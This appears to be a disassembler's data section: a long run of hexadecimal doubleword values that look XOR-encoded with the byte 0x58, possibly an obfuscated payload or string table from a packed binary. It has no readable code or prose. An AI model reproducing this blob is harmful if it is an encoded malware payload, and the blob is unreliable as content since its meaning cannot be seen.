		dd 0A70801A7h, 5958544Dh, 0A81DD148h, 0B01D9F3Eh, 1DD55850h
		dd 2DD508A0h, 48B4DBB0h, 5CE1BFD1h, 0AB585858h,	4825D3FDh
		dd 0A767D30Fh, 9BD1680Fh, 9C5DE757h, 574849D8h,	0D99C4DE7h
		dd 88594849h, 6156B0DBh, 58DD579Bh, 0D558585Ah,	3008981Dh
		dd 4849C260h, 8A01DD3h,	4CA760D3h, 58585865h, 579BD158h
		dd 0D8CC5DE7h, 5D5B4849h, 4849D980h, 615EB0DBh,	9FDD579Bh
		dd 3E585859h, 5A881D9Fh, 0DA44F958h, 0E7574849h, 49DA184Dh
		dd 0DB885948h, 1DD154B0h, 0BC1DD580h, 882DD508h, 0D148B4DBh
		dd 585CE1BFh, 0FDAB5858h, 0DB882DD5h, 0BFD148B4h, 58585CE1h
		dd 0D3FDAB58h, 0D30F9825h, 740FA767h, 78F99BD1h, 0DB4849DAh
		dd 9B615AB0h, 593FDD57h, 14F95858h, 0DB4849DAh,	1DD151B0h
		dd 0A41DD5A4h, 0C2103008h, 1DD34849h, 60D308BCh, 58654CA7h
		dd 0D1585858h, 0DA54F99Bh, 0B0DB4849h, 579B615Ch, 585973DDh
		dd 885DA758h, 0F948597Dh, 4849D938h, 0DA585D5Bh, 0B0DB4849h
		dd 885D615Ah, 2A48597Dh, 0D8A8F979h, 98DB4849h,	105D5B5Bh
		dd 0FB4849DAh, 48597D88h, 0B0A42DA7h, 0A7A736F9h, 58BDB101h
		dd 0E7575858h, 49D9CC5Dh, 0D45D5B48h, 0DB4849D9h, 1DD15AB0h
		dd 0E81DD5E0h, 446DA708h, 0B04858A8h, 0A7A7BB8Eh, 0D5941DD1h
		dd 0A708EC1Dh, 59578C6Dh, 0BB9CB048h, 1DD1A7A7h, 0E41DD590h
		dd 786DA708h, 0B0485110h, 0A7A7BBEAh, 0D1409CDBh, 25DB9C1Dh
		dd 432C58E4h, 4F2C98DDh, 1DD51B32h, 2DA708E0h, 0E42DA7A4h
		dd 0B09C2DA7h, 0A7A7E8E1h, 0DB4C9CDBh, 2C58EC25h, 9025DB45h
		dd 324F2C58h, 0E01DD508h, 0A42DA708h, 0A7EC2DA7h, 0CEB0902Dh
		dd 0DBA7A7E8h, 25DB4C9Ch, 452C58E8h, 589425DBh,	1C324F2Ch
		dd 8E01DD5h, 0A7A42DA7h, 2DA7E82Dh, 0E82BB094h,	9CDBA7A7h
		dd 902DA74Ch, 7D944DA7h, 2DA74859h, 944DA79Ch, 0A748597Dh
		dd 4DA7942Dh, 48597D94h, 0CC5DE757h, 184849D9h,	482DA708h
		dd 0B0502DA7h, 0A7A79263h, 0D3549CDBh, 0D308A41Dh, 500EA768h
		dd 8BC1DD3h, 0EA768D3h,	981DD350h, 0A768D308h, 1DD3500Eh
		dd 68D308A0h, 0D5500EA7h, 0A708B01Dh, 49376C4Dh, 0D9F4F948h
		dd 5D5B4849h, 4849D8F8h, 615DB0DBh, 7582C9Bh, 9B910306h
		dd 581859E0h, 58489AD8h, 0B4D901C8h, 58584858h,	58485875h
		dd 7C5CDD58h, 58485865h, 71B32B58h, 7C5CDD9Ch, 19B09h
		dd 995B98DBh, 0B8995AB0h, 4858655Ah, 46245858h,	8308BAD1h
		dd 54D17C5Ch, 7C5C837Ch, 0A7A798B0h, 0A8CD1A7h,	0D37C4483h
		dd 44837C54h, 9C71007Ch, 589FB8D1h, 58585858h, 589B0909h
		dd 18986958h, 5858549Ah, 64810858h, 7C5CD37Ch, 7C6CE257h
		dd 54D93E50h, 815A587Ch, 0D0017C74h, 5BB8DBB8h,	6481089Bh
		dd 0ABB3007Ch, 7C648108h, 3E7C5CD3h, 587C54D9h,	58B8B35Bh
		dd 0B4D90158h, 58584858h, 58485875h, 7C5CDD58h,	58485865h
		dd 71B32B58h, 7C5CDD9Ch, 5858B9A7h, 7C0CD358h, 0E1986950h
		dd 0A7A7A7A7h, 0F6AAA2DFh, 11D581AFh, 7C1CD3A7h, 24D3CE50h
		dd 0FCAB5C7Ch, 0D38FDFCEh, 9A5C7C1Ch, 58585850h, 0F47DA758h
		dd 0C84849F8h, 585858C8h, 0E87DA758h, 0C84849F8h, 585858C8h
		dd 0EC7DA758h, 0C84849F8h, 585858C8h, 987DA758h, 0C84849F8h
		dd 585858C8h, 9C7DA758h, 0C84849F8h, 585858C8h,	907DA758h
		dd 0C84849F8h, 585858C8h
		dd 947DA758h, 0C84849F8h, 585858C8h, 887DA758h,	0C84849F8h
		dd 585858C8h, 8C7DA758h, 0C84849F8h, 585858C8h,	807DA758h
		dd 0C84849F8h, 585858C8h, 847DA758h, 0C84849F8h, 585858C8h
		dd 5Fh dup(58585858h), 58BD2058h, 58585848h, 4 dup(58585858h)
		dd 582B7D58h, 2A582F58h, 1Ch dup(58585858h), 58585C58h
		dd 58585A58h, 58585158h, 58585E58h, 58585B58h, 58585F58h
		dd 58585858h, 58585F58h, 2 dup(58585D58h), 58585C58h, 58585858h
		dd 58585A58h, 58585E58h, 2 dup(58585958h), 58585E58h, 58585D58h
		dd 58585E58h, 58585C58h, 58585E58h, 58585D58h, 2 dup(58585958h)
		dd 58585B58h, 58585A58h, 58585D58h, 58585A58h, 58585158h
		dd 58585858h, 58585058h, 58585A58h, 58585158h, 58585958h
		dd 58585058h, 58585A58h, 58585058h, 58585A58h, 58585D58h
		dd 58585058h, 58585958h, 58585A58h, 58585B58h, 58585158h
		dd 58585958h, 58585C58h, 58585958h, 58585A58h, 58585C58h
		dd 58585058h, 58585B58h, 58585C58h, 58585F58h, 58585958h
		dd 58585A58h, 58585D58h, 58585C58h, 58585F58h, 58585158h
		dd 58585F58h, 58585858h, 58585C58h, 58585D58h, 58585958h
		dd 58585058h, 2	dup(58585958h),	58585C58h, 58585058h, 58585E58h
		dd 58585858h, 58585A58h, 58585F58h, 2 dup(58585C58h), 58585E58h
		dd 58585958h, 2	dup(58585058h),	58585158h, 58585F58h, 58585058h
		dd 58585C58h, 58585858h, 2 dup(58585C58h), 58585F58h, 58585B58h
		dd 58585E58h, 58585158h, 58585B58h, 58585858h, 58585D58h
		dd 58585A58h, 58585958h, 58585C58h, 58585D58h, 58585B58h
		dd 58585858h, 58585C58h, 58585A58h, 58585958h, 58585058h
		dd 58585F58h, 58585958h, 58585058h, 2 dup(58585858h), 58585058h
		dd 58585F58h, 58585C58h, 58585158h, 10h	dup(58585858h)
		dd 58B03858h, 39585858h, 585858B1h, 3 dup(58585858h), 5832D958h
		dd 58D05B48h, 58D22048h, 580FC348h, 58902548h, 58F67E48h
		dd 5806D048h, 58585848h, 587D0E58h, 587D6748h, 581CB948h
		dd 581F4B48h, 58BD4B48h, 58FA8848h, 587CB148h, 49DA9048h
		dd 58585848h, 5895CB58h, 589F9248h, 581D5048h, 58FFD548h
		dd 587D6F48h, 580A2448h, 580E0A48h, 49DAB448h, 393D1448h
		dd 2A1B3D2Eh, 3B312C31h, 3D0B3439h, 37312C3Bh, 2A1B5836h
		dd 3D2C393Dh, 3D2A300Ch, 1D583C39h, 2A3D2C36h, 2C312A1Bh
		dd 34393B31h, 2C3B3D0Bh, 58363731h, 2C313611h, 31343931h
		dd 2A1B3D22h, 3B312C31h, 3D0B3439h, 37312C3Bh, 58585836h
		dd 32FC2058h, 9FEF0E8Fh, 782883B0h, 0E596B67Ch,	2457F799h
		dd 0DF9E72ADh, 681E4B1Fh, 1ECD59F0h, 0D8C080A5h, 1CAFF731h
		dd 0A703E9D3h, 48FE6A7h, 0C8497AD1h, 0C029CB33h, 211BD6A5h
		dd 0EC5079FEh, 467D3A11h, 18EB18AEh, 6020998h, 0EE9FF27Eh
		dd 774805B1h, 1C4C0B8Eh, 0F9BED95Ah, 8BA39080h,	0B995BEBFh
		dd 6F5F8E79h, 8D55DF9Bh, 24CB5ACh, 0BBB15D1Dh, 0B7FBA0F1h
		dd 375A81A4h, 7214D23Fh, 0A2611AD5h, 29AED9A7h,	0C5397ADFh
		dd 0BD605435h, 0E6B21CA5h, 8697F1FCh, 0E3133813h, 0E7E428AEh
		dd 0C3269EE6h, 0F97FA270h, 0B768DDB2h, 0D0455D8Ch, 8C88615Ch
		dd 83C1BD81h, 0FA24A0BEh, 0F40E3D47h, 717A1C9Ch, 72A7CFACh
		dd 0CC7BFF1Bh, 0CBF861F3h, 3019BA4h, 5494CA3Dh,	0B7AC25D7h
		dd 0DC0589A7h, 0F02617DDh, 74BEB837h, 591B4CA6h, 5049F9FBh
		dd 0B26DA16h, 62AA6DAFh, 8F8AE3E5h, 0DE8BC972h,	588462B3h
		dd 58841D48h, 5884C348h, 5884AF48h, 58585C48h, 32587058h
		dd 34583F58h, 58582958h, 82585E58h, 0AFF3E9E9h,	5E58FAF4h
		dd 0E0E08B58h, 0F3FDA6FAh, 96585E58h, 0BBE7FDFDh, 5058EEE0h
		dd 5F092C58h, 54584173h, 5E585909h, 2A2A4158h, 39376C30h
		dd 43585F58h, 2E1C3066h, 58723B37h, 0F5B15854h,	0F6C1C2D8h
		dd 0D0E1C5D4h, 58DCD0C3h, 0C99F5853h, 0FEF6EDFEh, 0F1D6EBF1h
		dd 5458EBF6h, 0D3E4B258h, 0DCD3DBC0h, 0D7DEF1C6h, 5658C0D3h
		dd 0B19BC858h, 0A4A489BBh, 0BC9BABA7h, 0AFA6A1BAh, 0DD585558h
		dd 9BAEA48Eh, 8EB8B8AFh, 0B3B4AFA9h, 585458BAh,	70E0D62h
		dd 51161703h, 0E064C50h, 5854580Eh, 1910137Ch, 4F08091Dh
		dd 1018524Eh, 585C5810h, 7B7E341Ah, 5853586Eh, 0B3E6CA96h
		dd 0E3B3C9E3h, 0FAFAF2B8h, 0FF585958h, 585958A9h, 4F588BDEh
		dd 87C1E458h, 87C187C1h, 0C1C987C1h, 2 dup(0C187C187h)
		dd 8B87CA87h, 584E5889h, 0F0B6F0D5h, 0F0B6F0B6h, 0F8B6F0B6h
		dd 2 dup(0B6F0B6F0h), 58A0A7FBh, 16655852h, 0A3A0603h
		dd 9014B16h, 58525809h,	0BDB8ADDEh, 0F0ADB181h,	58B2B2BAh
		dd 0F8DD585Ch, 5881E7BEh, 0B8EA5848h, 9FBB8D8Fh, 0BC93988Fh
		dd 8F9F868Bh, 58AB92AFh, 0E1AE5848h, 0FEC0CBDEh, 0CBCDC1DCh
		dd 0C1FADDDDh, 58C0CBC5h, 0EEA9584Bh, 0C6FDDDCCh, 0E0C7CCC2h
		dd 0DBC6CFC7h, 0C0DDC8C4h, 4458C7C6h, 7F581158h, 70786578h
		dd 746B787Dh, 64727442h, 68657863h, 72627455h, 65617863h
		dd 5458637Eh, 5E7C3B58h, 5E486E4Fh, 565A7549h, 55587A5Eh
		dd 7B4C1E58h, 7B6E5179h, 677B5570h, 585F665Bh, 0ADFE5842h
		dd 9BAD8A9Bh, 978C8B9Dh, 9BBA878Ah, 978C9D8Dh, 8C918A8Eh
		dd 9B9089B1h, 584A588Ch, 0E8F9DB9Ch, 0CFF8F5CFh, 0E9DDFEE9h
		dd 0EEF3F4E8h, 58E5E8F5h, 0CD9E5848h, 0F7D8EAFBh, 0FBCDFBF2h
		dd 0F7ECEBFDh, 58DFE7EAh, 0B9F5584Dh, 809E9A9Ah, 9C87A585h
		dd 90999C83h, 94A39092h, 0B4908099h, 0EA584F58h, 0B99E8FADh
		dd 9FB98E83h, 9E9FAB88h, 83988582h, 85A9939Eh, 589E849Fh
		dd 1C5D584Dh, 2E283739h, 36320929h, 2F0D3338h, 31342B34h
		dd 2E383A38h, 70585358h, 33171522h, 15031F1Ch, 5809153Bh
		dd 0C98E5841h, 0E7DDFAEBh, 0EBEAC7EAh, 0E8E7FAE0h, 0CFFCEBE7h
		dd 0E1E6FAFBh, 0F7FAE7FCh, 1F584158h, 4C6B7A4Ch, 6D6A7C7Ah
		dd 5B666B76h, 6D7C6C7Ah, 706B6F76h, 7C7E5B6Dh, 58545873h
		dd 0E3F1F495h, 0A6FCE5F4h, 0F9F1BBA7h, 585458F9h, 0C0D2D7B6h
		dd 85DFC6D7h, 0DAD29884h, 585958DAh, 5A58304Ch,	0F5A98958h
		dd 0A4585958h, 585C589Eh, 36666343h, 58595879h,	52582D51h
		dd 55496958h, 243B262Fh, 571C4C53h, 0AC585358h,	0FEEA908Ch
		dd 96E9E1EDh, 5892D989h, 0FFDF5852h, 9E8D99E3h,	92E59A92h
		dd 585858E1h, 58585D58h, 24585258h, 3E583358h, 37582758h
		dd 58585858h, 58585C58h, 0A586458h, 9580558h, 58580158h
		dd 76585A58h, 59585656h, 58CCE358h, 98F5584Ah, 99819686h
		dd 8186AA86h, 86808194h, 0C6879497h, 585658C7h,	0C4C7F2A6h
		dd 0C2C8CFF1h, 0CAE5D1C9h, 58D5D5C7h, 7D46585Bh, 5C587B29h
		dd 357D4658h, 5C587B29h, 0C09FA458h, 5C588E99h,	0CE91AA58h
		dd 58588B97h, 58585B58h, 1584858h, 0F580558h, 59585858h
		dd 5892CE58h, 75505857h, 36340C23h, 2A25753Ch, 347E6263h
		dd 48583C3Ch, 0EFB99C58h, 0EEEFEBC0h, 0E8E6E9B9h, 0F8B2AEAFh
		dd 5358F0F0h, 0F9AF8A58h, 0AFF9AFD6h, 0E6E4A4FFh, 585758F9h
		dd 0B29DCBEEh, 9BCB8885h, 0DCDD9482h, 82828AC0h, 0F6585C58h
		dd 0AEC4D8D3h, 0B0585958h, 585A5895h, 58C187A2h, 0B6E65851h
		dd 93828994h, 82AF9285h, 5E587458h, 0A18110Dh, 1B0C1F09h
		dd 3D371302h, 312D312Ch, 9022A38h, 313A3037h, 107E2D29h
		dd 2B1D020Ah, 303B2C2Ch, 2C3B082Ah, 3031372Dh, 27585158h
		dd 43485577h, 6E534452h
		dd 58715843h, 1F160A59h, 0B180E0Dh, 3014051Ch, 2A362B3Ah
		dd 52D3F36h, 3D37300Eh,	52A2E36h, 2B2B2C1Ah, 0F2D373Ch
		dd 302A2B3Ch, 59583736h, 58D2FC58h, 0B499585Ch,	58B7C1BCh
		dd 6A09585Bh, 50585533h, 7577258h, 5C07575Ch, 5A580757h
		dd 0BFA5EB58h, 0AB585A58h, 5358F392h, 2337058h,	15041115h
		dd 41E1F36h, 58515831h,	808D8EE9h, 8DC7DBDAh, 51588585h
		dd 6F6C0B58h, 25393862h, 5867676Fh, 394A5855h, 2F3E3933h
		dd 25383A27h, 2F26232Ch, 25585E58h, 4C535740h, 59584046h
		dd 58725658h, 1340585Eh, 5141319h, 5850580Dh, 12047757h
		dd 141E0105h, 58185812h, 3020140h, 7060504h, 0B0A0908h
		dd 0F0E0D0Ch, 13121110h, 17161514h, 211A1918h, 25242322h
		dd 29282726h, 2D2C2B2Ah, 31302F2Eh, 35343332h, 39383736h
		dd 7271703Ah, 76757473h, 6B797877h, 5858586Fh, 58585158h
		dd 9258F058h, 96589558h, 82589F58h, 0B5589558h,	94589E58h
		dd 78585858h, 7B2D0858h, 6B7A7B28h, 7C7C6035h, 27273278h
		dd 60377B2Dh, 2E7B2D35h, 7D2D357Eh, 2D35782Eh, 1B58367Bh
		dd 2A7C5958h, 3A2B2A79h, 2D2D3164h, 76766329h, 31662A7Ch
		dd 7F2A7C64h, 2C7C6430h, 367F2A7Ch, 7F2C7C64h, 3A7C643Fh
		dd 64302A7Fh, 2A7F2A7Ch, 2C7C6436h, 64352D7Fh, 2F7F2C7Ch
		dd 7F2C7C64h, 2A7C643Dh, 58485867h, 0C596C0E5h,	0D8869796h
		dd 0DACA96C0h, 86C0D883h, 584658DBh, 7C782D11h,	78663176h
		dd 2C796575h, 74793121h, 65797678h, 7331212Ch, 7475637Eh
		dd 58212C63h, 0A39F585Fh, 0B0A3A1FDh, 5358A1FDh, 537B3658h
		dd 51574545h, 4E597453h, 58555877h, 5F49682Ch, 55435E58h
		dd 4842457Bh, 56585B43h, 0EED88B58h, 0E5E2DCFFh, 0DFFCE4EFh
		dd 0CAFFF3EEh, 16584A58h, 7B637853h, 7D657352h,	41667962h
		dd 7972787Fh, 52586561h, 0D6F4B958h, 0D0EEDCCFh, 0CED6DDD7h
		dd 48584858h, 383B210Ch, 202B3C29h, 3B3B2D05h, 92D2F29h
		dd 9E585358h, 0D3EAFBD9h, 0FFEDEDFBh, 58DFFBF9h, 0D4A5851h
		dd 231D3E2Fh, 3D252E24h, 0AF585558h, 0F8DBCAE8h, 0C0CBC1C6h
		dd 0CCCAFDD8h, 585758DBh, 0D2DFFDBEh, 0D0D7E9D2h, 0EEC9D1DAh
		dd 0FFDDD1CCh, 97585658h, 0C0E3F2D0h, 0F8F3F9FEh, 0EFF2C3E0h
		dd 5558D6E3h, 46642358h, 424F6057h, 426D5050h, 5862464Eh
		dd 22715856h, 18260514h, 61E151Fh, 161F1E3Dh, 58545830h
		dd 0DCD7E1B2h, 0C1D7FFD6h, 0D7D5D3C1h, 584858F3h, 0EAF9DF8Bh
		dd 0EAE7F8E5h, 0EEC6EEFFh, 0ECEAF8F8h, 585058EEh, 0C9D8EEBDh
		dd 0D8D0D4E9h, 585058CFh, 12033566h, 13050920h,	58565815h
		dd 0C7C5F2A0h, 0C5D4D3C9h, 0C1CCE3D2h, 58E1D3D3h, 8BD85852h
		dd 8FAFB7B0h, 0B7BCB6B1h, 585558AFh, 23240B4Dh,	23241A29h
		dd 83A2229h, 57580C35h,	7A4B0858h, 6D7C696Dh, 6C66615Fh
		dd 704D7F67h, 584B5849h, 69785A1Dh, 786F725Bh, 68726F7Ah
		dd 744A7973h, 6A727973h, 0A8585658h, 0FFDCCDEFh, 0C7CCC6C1h
		dd 0C6C7E4DFh, 5658E9CFh, 0CEEFAB58h, 0C5C2FCCDh, 0FBDCC4CFh
		dd 0EAC8C4D9h, 0BD585258h, 0CFD8CEC8h, 0D9938F8Eh, 5258D1D1h
		dd 0F1F78258h, 0B0B1F0E7h, 0EEEEE6ACh, 0D1585558h, 0B085BE92h
		dd 0B49CBAA2h, 0B4A397BCh, 585358B4h, 0DDEBD198h, 0F4F9EDE9h
		dd 0DCD1CDDFh, 19584858h, 6B5A765Ah, 7C6D787Ch,	6D6A7750h
		dd 7C7A7778h, 0C1585758h, 88928D82h, 0AEB38785h, 0B3B592ACh
		dd 58A6AFA8h, 6D2E5854h, 47406741h, 424F475Ah, 584B5447h
		dd 490A5856h, 63645F65h, 637E6364h, 7063666Bh, 5851586Fh
		dd 464F4C23h, 470D1110h, 51584F4Fh, 0C8CBA458h,	8A9697C1h
		dd 58C8C8C0h, 58065858h, 8EF65859h, 16585958h, 5859584Ah
		dd 58582C0Ch, 4B58A958h, 0D4EFBA58h, 0DFD6D8DBh, 9AD5CE9Ah
		dd 0D2CECFDBh, 0C0D3C8D5h, 586D58DFh, 0E3ECD782h, 0A2E7EEE0h
		dd 0E3A2EDF6h, 0EDEAF6F7h, 0E7F8EBF0h, 0CBA2AFA2h, 0D0CDC1CCh
		dd 0D6C1C7D0h, 0CCCBD2A2h, 0EED2A2ACh, 0E7F1E3E7h, 0EDE1A2AEh
		dd 0E1E7F0F0h, 5958ACF6h, 58BF9258h, 7A2A5846h,	594B4F46h
		dd 590A064Fh, 494F464Fh, 526F0A5Eh, 4B58435Ah, 4445435Eh
		dd 4B4F730Ah, 58595858h, 47584565h, 0F7CB9B58h,	0FEE8FAFEh
		dd 0FEE8BBB7h, 0EFF8FEF7h, 0EBE3DEBBh, 0EFFAE9F2h, 0BBF5F4F2h
		dd 0EFF5F4D6h, 584A58F3h, 0EBEEDB88h, 0E1CEFBC1h, 0FAD8EDE4h
		dd 0EBEDFCE7h, 58ECEDFCh, 1665585Fh, 14B0603h, 5F580909h
		dd 81D6E58h, 20A400Dh, 58595802h, 258E498h, 8BA9E858h
		dd 869D878Bh, 89A6C89Ch, 0B8CB8D85h, 0C8DBB8A7h, 9E9A8DBBh
		dd 0BBCB9A8Dh, 0C8B8BCA5h, 9E9A8DBBh, 0BBCB9A8Dh, 0C8B8BCA5h
		dd 989B81ACh, 0C8918984h, 8D8589A6h, 0BCA5BBCBh, 85ADC8B8h
		dd 0C8848189h, 9A8C8CA9h, 0CB9B9B8Dh, 0DBB8A7B8h, 8D9BBDC8h
		dd 89A6C89Ah, 0CBCB8D85h, 13585658h, 20435C43h,	60724333h
		dd 617C6460h, 61582177h, 35297A58h, 3B2D2E3Ch, 37263F28h
		dd 15081913h, 0E1C1509h, 0E143326h, 1F14081Fh, 193B5A0Eh
		dd 140F1519h, 1B375A0Eh, 1F1D1B14h, 193B2608h, 140F1519h
		dd 5F26090Eh, 5802424Ah, 390C3D0Bh, 2F173D33h, 2B2A3D36h
		dd 8283130h, 312E312Ah,	3D3F3D34h, 0C5585D58h, 0B6E0B6E0h
		dd 585D5899h, 86D086A3h, 5B58FFD0h, 54022758h, 585C580Dh
		dd 663F795Ch, 58595800h, 5958C4B8h, 58C2BE58h, 9AD35841h
		dd 9087969Dh, 0F39E9E9Ch, 0A5A1B680h, 83F3A1B6h, 0A4A0A0B2h
		dd 0A0B7A1BCh, 0D3585958h, 585D58AFh, 0A986D0F5h, 5D5886D0h
		dd 5F092C58h, 585F0970h, 8FAA585Ch, 5880F6D9h, 3D1C5859h
		dd 0A9585958h, 585C5883h, 76767276h, 58595876h,	59585774h
		dd 58143758h, 0B1925859h, 93585F58h, 0E3E7E7FBh, 58BCBCA9h
		dd 785B5859h, 3585F58h,	7377776Bh, 582C2C39h, 0D1B25C53h
		dd 0DAD1D7DAh, 0C0C2DCD7h, 9CC1C1D7h, 0DDD4DCDBh, 0DEDDD591h
		dd 0DEDDC2D6h, 0DDD19CDEh, 0DCDB91DFh, 0DEDDD5C6h, 0DDD19CD6h
		dd 0C5C591DFh, 0D0D19CC5h, 0C7C09CC0h, 0C5C5C591h, 0D1C4D39Ch
		dd 0D9D1D7DAh, 91C7C09Ch, 0C0DDC6C1h, 0CBD3C2DFh, 0DFDDD19Ch
		dd 0C7C0D191h, 9CC2DDC6h, 0DC91C7DCh, 0D79CC5D7h, 0D19CD5D5h
		dd 0C591DFDDh, 0C29CC5C5h, 0DBC8DCDDh, 0DFD3D1C1h, 0DDD19CC1h
		dd 0C4D391DFh, 0D1D7DAD1h, 0C7C09CD9h, 0D1C4D391h, 0D9D1D7DAh
		dd 0C8DBD09Ch, 0C5C5C591h, 0DBD0D09Ch, 0C7C09CDCh, 0C1D3DF91h
		dd 9FC0D7C6h, 0DDD19CCAh, 0C5C591DFh, 0DDC29CC5h, 0C1DBC8DCh
		dd 0C1DFD3D1h, 0DFDDD19Ch, 0C5C5C591h, 0DCD3D09Ch, 0D3D09FD9h
		dd 0D7C7C3DCh, 0DCD3D19Fh, 9CD3D6D3h, 0C591D3D1h, 0C29CC5C5h
		dd 0DBC8DCDDh, 0DFD3D1C1h, 0DDD19CC1h, 0C5C591DFh, 0DFD09CC5h
		dd 0DDD19CDDh, 0D3C291DFh, 0DED3C2CBh, 0DFDDD19Ch, 0D3D0D791h
		dd 0DDD19CCBh, 0C5C591DFh, 0D3D09CC5h, 0D4DDD9DCh, 0C7D6D3DFh
		dd 0D19CD3C0h, 0C591DFDDh, 0D19CC5C5h, 9CD1D0DBh, 91DFDDD1h
		dd 9CC5C5C5h, 9CD0C6C4h, 0C591C7C0h, 0D19CC5C5h, 0DCD3D0C5h
		dd 0DDD19CD9h, 0DDD591DFh, 0DDC2D6DEh, 0D19CDEDEh, 0C591DFDDh
		dd 0C29CC5C5h, 0DBC8DCDDh, 0DFD3D1C1h, 0DDD19CC1h, 0C5C591DFh
		dd 0DFDF9CC5h, 0D9DCD3D0h, 91C7C09Ch, 9CC5C5C5h, 0D3DBDCC7h
		dd 0C7C0C6C1h, 0C7C09CDFh, 0DEDDD591h, 0DEDDC2D6h, 0DDD19CDEh
		dd 0C5C591DFh, 0DDC29CC5h, 0C1DBC8DCh, 0C1DFD3D1h, 0DFDDD19Ch
		dd 0C5C5C591h, 0C0DDC59Ch
		dd 0D3D0D6DEh, 0DD9CD9DCh, 0C591D5C0h, 0D19CC5C5h, 0DBD6DCD3h
		dd 0D7C6D3D6h, 0DBC0D7C4h, 0C0D7DBD4h, 0DFDDD19Ch, 0C5C5C591h
		dd 0DCDDC29Ch, 0D1C1DBC8h, 9CC1DFD3h, 91DFDDD1h, 9CC5C5C5h
		dd 0D9DCD3D0h, 0DCDBD4DDh, 9CD3DBD6h, 91DFDDD1h, 9CC5C5C5h
		dd 0D3D0D1DBh, 0C09CD9DCh, 0C4D391C7h, 0D1D7DAD1h, 0C7C09CD9h
		dd 0C5C5C591h, 0DCD7C49Ch, 0C1C0DDD6h, 0D7DFD3DCh, 91C1C59Ch
		dd 9CC5C5C5h, 9CD0DFD9h, 0C591C7C0h, 0DC9CC5C5h, 0D3DFC6D7h
		dd 0C6C1DBD5h, 0D19CC0D7h, 0D991DFDDh, 0D3D9C4D3h, 0DCD7D1C8h
		dd 9CC0D7C6h, 91DFDDD1h, 9CC5C5C5h, 0D6DCD7C4h,	0DCC1C0DDh
		dd 9CD7DFD3h, 0DF91C1C5h, 0DEDCDDCBh, 0D3D7DCDBh, 0C7DDD1D1h
		dd 80C1C6DCh, 0D0D0D39Ch, 0D3DCCBD7h, 0DCDDDBC6h, 0D19CDED3h
		dd 0D9C79CDDh, 0DEDCDD91h, 9FD7DCDBh, 0DBC1C7D0h, 0C1C1D7DCh
		dd 0DDDEDE9Ch, 0C6C1D6CBh, 0D19CD0C1h, 0D9C79CDDh, 0C5C5C591h
		dd 0DEDED39Ch, 0D0D3DAD3h, 0D3D0D6D3h, 0D19CD9DCh, 0C591DFDDh
		dd 0C09CC5C5h, 0D19CD1D0h, 0C591DFDDh, 0C29CC5C5h, 0DBC8DCDDh
		dd 0DFD3D1C1h, 0DDD19CC1h, 0C5C591DFh, 0DA9C83C5h, 9CD1D0C1h
		dd 0D991D3D1h, 0D7C0D0D5h, 0D1CAD3DEh, 9CD0C7DEh, 0CB91C7C0h
		dd 0DDD0DFD3h, 0C8DBD09Ch, 0D6DBD991h, 0D09FC1DDh, 9CD9DCD3h
		dd 0C591C7C0h, 0DE9CC5C5h, 0DBD6D1D0h, 0C6D1D7C0h, 0C7D3DE9Ch
		dd 0C6DCD7C0h, 0D0DCD3DBh, 9CD9DCD3h, 0D091D3D1h, 0DED1C0D3h
		dd 9CC1CBD3h, 91DFDDD1h, 0D3C6DDC6h, 0D4CBDEDEh, 0D0D7D7C0h
		dd 0DBD9DCD3h, 0D19CD5DCh, 0C591DFDDh, 0DC9CC5C5h, 0D19CD1D0h
		dd 818791D3h, 0D9DCD3D0h, 0DFDDD19Ch, 0C5C5C591h, 0DCD7C49Ch
		dd 0C1C0DDD6h, 0D7DFD3DCh, 91DCC49Ch, 9CC5C5C5h, 9FD080D0h
		dd 0C1C7C0C6h, 0DDD19CC6h, 0C5C591DFh, 0D7C49CC5h, 0C0DDD6DCh
		dd 0DFD3DCC1h, 0C1C59CD7h, 0D7C2DD91h, 0DCD3D0DCh, 0DDD19CD9h
		dd 0D3C691DFh, 0D7DC9FC6h, 0D3D0C6D4h, 0C09CD9DCh, 0D7C191C7h
		dd 0D0D3DED1h, 91C7C09Ch, 0C7D1D7C1h, 0CBC6DBC0h, 9CD0D3DEh
		dd 0D491C7C0h, 0D3DAC6D7h, 0D09CD6C0h, 0D591C8DBh, 0CADCDDC0h
		dd 0DCD3DEC2h, 9CC1C6D7h, 0C491C7C0h, 0DDD6DCD7h, 0D3DCC1C0h
		dd 0C49CD7DFh, 5C5891DCh, 17022758h, 4A587F1Fh,	25145758h
		dd 223272Eh, 38252739h,	23343223h, 36233613h, 0B9585358h
		dd 0C9C0CBDAh, 978B8ACDh, 58D5D5DDh, 35565853h,	22262F24h
		dd 32786465h, 4B583A3Ah, 41632458h, 56516750h, 504A4156h
		dd 474B5674h, 6D575741h, 58515840h, 0C6DDF8AFh,	0C6E9CADBh
		dd 4958CAC3h, 0B99BDC58h, 0AFB598A8h, 0B9AE9AB7h, 0BDAC8FB9h
		dd 589DB9BFh, 0CC8B584Eh, 0E5CEFFEEh, 0E4F9E2FDh, 0E5EEE6E5h
		dd 0F9FFD8FFh, 0F8ECE5E2h, 584B58CAh, 79684A0Dh, 797E745Eh
		dd 64496068h, 796E687Fh, 4C747F62h, 52585458h, 6263715h
		dd 2223F37h, 133A2633h,	0DD585058h, 0AFA9AEB1h,	8AB3B8B1h
		dd 0E4585658h, 0A89081A3h, 8885878Bh, 828AAD81h, 5558A58Bh
		dd 0F0D29558h, 0FCE7D1E1h, 0ECC1F0E3h, 58D4F0E5h, 9DDE5853h
		dd 0BBADB1B2h, 0BAB0BF96h, 5658BBB2h, 9BADFE58h, 9297B88Ah
		dd 9791AE9Bh, 8C9B8A90h, 79585458h, 1D181635h, 0B1B1035h
		dd 38000B18h, 65585558h, 3F091137h, 280A1700h, 170A0800h
		dd 585F581Ch, 106386Fh,	0C0A172Ah, 0E6585258h, 928F9EA3h
		dd 83948EB2h, 4C588287h, 61460F58h, 637D6A7Bh, 6A646C60h
		dd 6C61466Bh, 6A626A7Dh, 55587B61h, 0E216758h, 2290309h
		dd 0E21131Fh, 5826020Bh, 0D2955855h, 0ECC6E1F0h, 0F8F0E1E6h
		dd 0F0F8FCC1h, 47585458h, 13332200h, 42C242Eh, 33293228h
		dd 95584858h, 0D8E1F0D2h, 0F9E0F1FAh, 0FBF4DDF0h, 0D4F0F9F1h
		dd 7F585358h, 0B0D1629h, 39131E0Ah, 581A1A0Dh, 783B5853h
		dd 4F5A5E49h, 57527D5Eh, 52587A5Eh, 0D5EAA558h,	0D0E8CBC0h
		dd 0E4DDC0D1h, 0DC585358h, 9AA8B99Bh, 8FB9B0B5h, 58B9A6B5h
		dd 25635853h, 2F060611h, 211010Ah, 54581A11h, 0C0FFA958h
